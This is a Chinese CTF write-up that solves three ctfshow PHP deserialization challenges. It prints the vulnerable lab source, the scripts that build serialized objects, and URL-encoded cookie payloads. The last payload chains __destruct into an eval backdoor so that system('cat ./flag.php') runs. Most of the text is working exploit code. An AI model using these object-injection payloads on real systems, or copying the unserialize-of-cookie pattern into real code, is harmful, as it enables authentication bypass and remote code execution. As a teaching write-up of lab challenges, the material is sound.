目录
附代码
- <?php
-
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-12-02 17:44:47
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-12-02 19:29:02
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
-
- */
-
- error_reporting(0);
- highlight_file(__FILE__);
- include('flag.php');
-
- class ctfShowUser{
- public $username='xxxxxx';
- public $password='xxxxxx';
- public $isVip=false;
-
- public function checkVip(){
- return $this->isVip;
- }
- public function login($u,$p){
- return $this->username===$u&&$this->password===$p;
- }
- public function vipOneKeyGetFlag(){
- if($this->isVip){
- global $flag;
- echo "your flag is ".$flag;
- }else{
- echo "no vip, no flag";
- }
- }
- }
-
- $username=$_GET['username'];
- $password=$_GET['password'];
-
- if(isset($username) && isset($password)){
- $user = unserialize($_COOKIE['user']);
- if($user->login($username,$password)){
- if($user->checkVip()){
- $user->vipOneKeyGetFlag();
- }
- }else{
- echo "no vip,no flag";
- }
- }
整体的思路和上一题差不多只是多了一句
$user = unserialize($_COOKIE['user']);
可以看到unserialize就是反序列化,所以需要我们序列化一些东西,通过cookie的user变量传入,改变这个数据。
- public function login($u,$p){
- return $this->username===$u&&$this->password===$p;
这段代码无法让isVip为true,所以我们就需要通过user这个变量改变isVip的值。
直接把类拿过来,只有类和变量会被反序列化,其他都可以去掉。
- <?php
- class ctfShowUser{
- public $username='xxxxxx';
- public $password='xxxxxx';
- public $isVip=true;
-
- }
- echo(urlencode(serialize(new ctfShowUser())));
- ?>
所以参入参数就是
拿到flag,债见!!
附代码
- <?php
-
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-12-02 17:44:47
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-12-02 19:29:02
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
-
- */
-
- error_reporting(0);
- highlight_file(__FILE__);
- include('flag.php');
-
- class ctfShowUser{
- public $username='xxxxxx';
- public $password='xxxxxx';
- public $isVip=false;
-
- public function checkVip(){
- return $this->isVip;
- }
- public function login($u,$p){
- return $this->username===$u&&$this->password===$p;
- }
- public function vipOneKeyGetFlag(){
- if($this->isVip){
- global $flag;
- if($this->username!==$this->password){
- echo "your flag is ".$flag;
- }
- }else{
- echo "no vip, no flag";
- }
- }
- }
-
- $username=$_GET['username'];
- $password=$_GET['password'];
-
- if(isset($username) && isset($password)){
- $user = unserialize($_COOKIE['user']);
- if($user->login($username,$password)){
- if($user->checkVip()){
- $user->vipOneKeyGetFlag();
- }
- }else{
- echo "no vip,no flag";
- }
- }
这个题的关键点在于username和password不相等,因为都是强比较,所以我们传入的username和password值不同即可,这时候注意cookie中参入的user的username和password也要改
所以我们这时候传入的应该是
?username=1&password=2
- <?php
- class ctfShowUser{
- public $username='1';
- public $password='2';
- public $isVip=true;
-
- }
- echo(urlencode(serialize(new ctfShowUser())));
- ?>
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
拿到flag,债见!
附代码
- <?php
-
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-12-02 17:44:47
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-12-02 20:33:07
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
-
- */
-
- error_reporting(0);
- highlight_file(__FILE__);
-
- class ctfShowUser{
- private $username='xxxxxx';
- private $password='xxxxxx';
- private $isVip=false;
- private $class = 'info';
-
- public function __construct(){
- $this->class=new info();
- }
- public function login($u,$p){
- return $this->username===$u&&$this->password===$p;
- }
- public function __destruct(){
- $this->class->getInfo();
- }
-
- }
-
- class info{
- private $user='xxxxxx';
- public function getInfo(){
- return $this->user;
- }
- }
-
- class backDoor{
- private $code;
- public function getInfo(){
- eval($this->code);
- }
- }
-
- $username=$_GET['username'];
- $password=$_GET['password'];
-
- if(isset($username) && isset($password)){
- $user = unserialize($_COOKIE['user']);
- $user->login($username,$password);
- }
这个题开始涉及反序列化的魔术方法了,我前面有文章写过php反序列化常用魔术方法的介绍
我们看回这个题,最后我们要用到的是backDoor类中的eval函数,来执行命令
结合上一个题的方法,循序渐进的看这个题,construct方法在初始化一个类的时候被触发,这里的construct方法会初始化info()这个类,在销毁时候触发destruct方法,destruct方法触发会调用info()类中的getInfo方法,然后返回user对象的值,这里我们看到我们想要调用的backDoor类中的方法也叫getInfo(),所以我们可以在序列化的时候把__construct方法初始化的类从info改为backDoor。
具体的实施方法如下:
- <?php
- class ctfShowUser{
- private $username='xxxxxx';
- private $password='xxxxxx';
- private $isVip=true;
- private $class = 'info';
-
- public function __construct(){
- $this->class=new backDoor();
- }
- public function login($u,$p){
- return $this->username===$u&&$this->password===$p;
- }
- public function __destruct(){
- $this->class->getInfo();
- }
- }
- class backDoor{
- private $code='system("cat ./flag.php");';
- public function getInfo(){
- eval($this->code);
- }
- }
- echo(urlencode(serialize(new ctfShowUser())));
还是老规矩
?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D
拿到flag,债见!!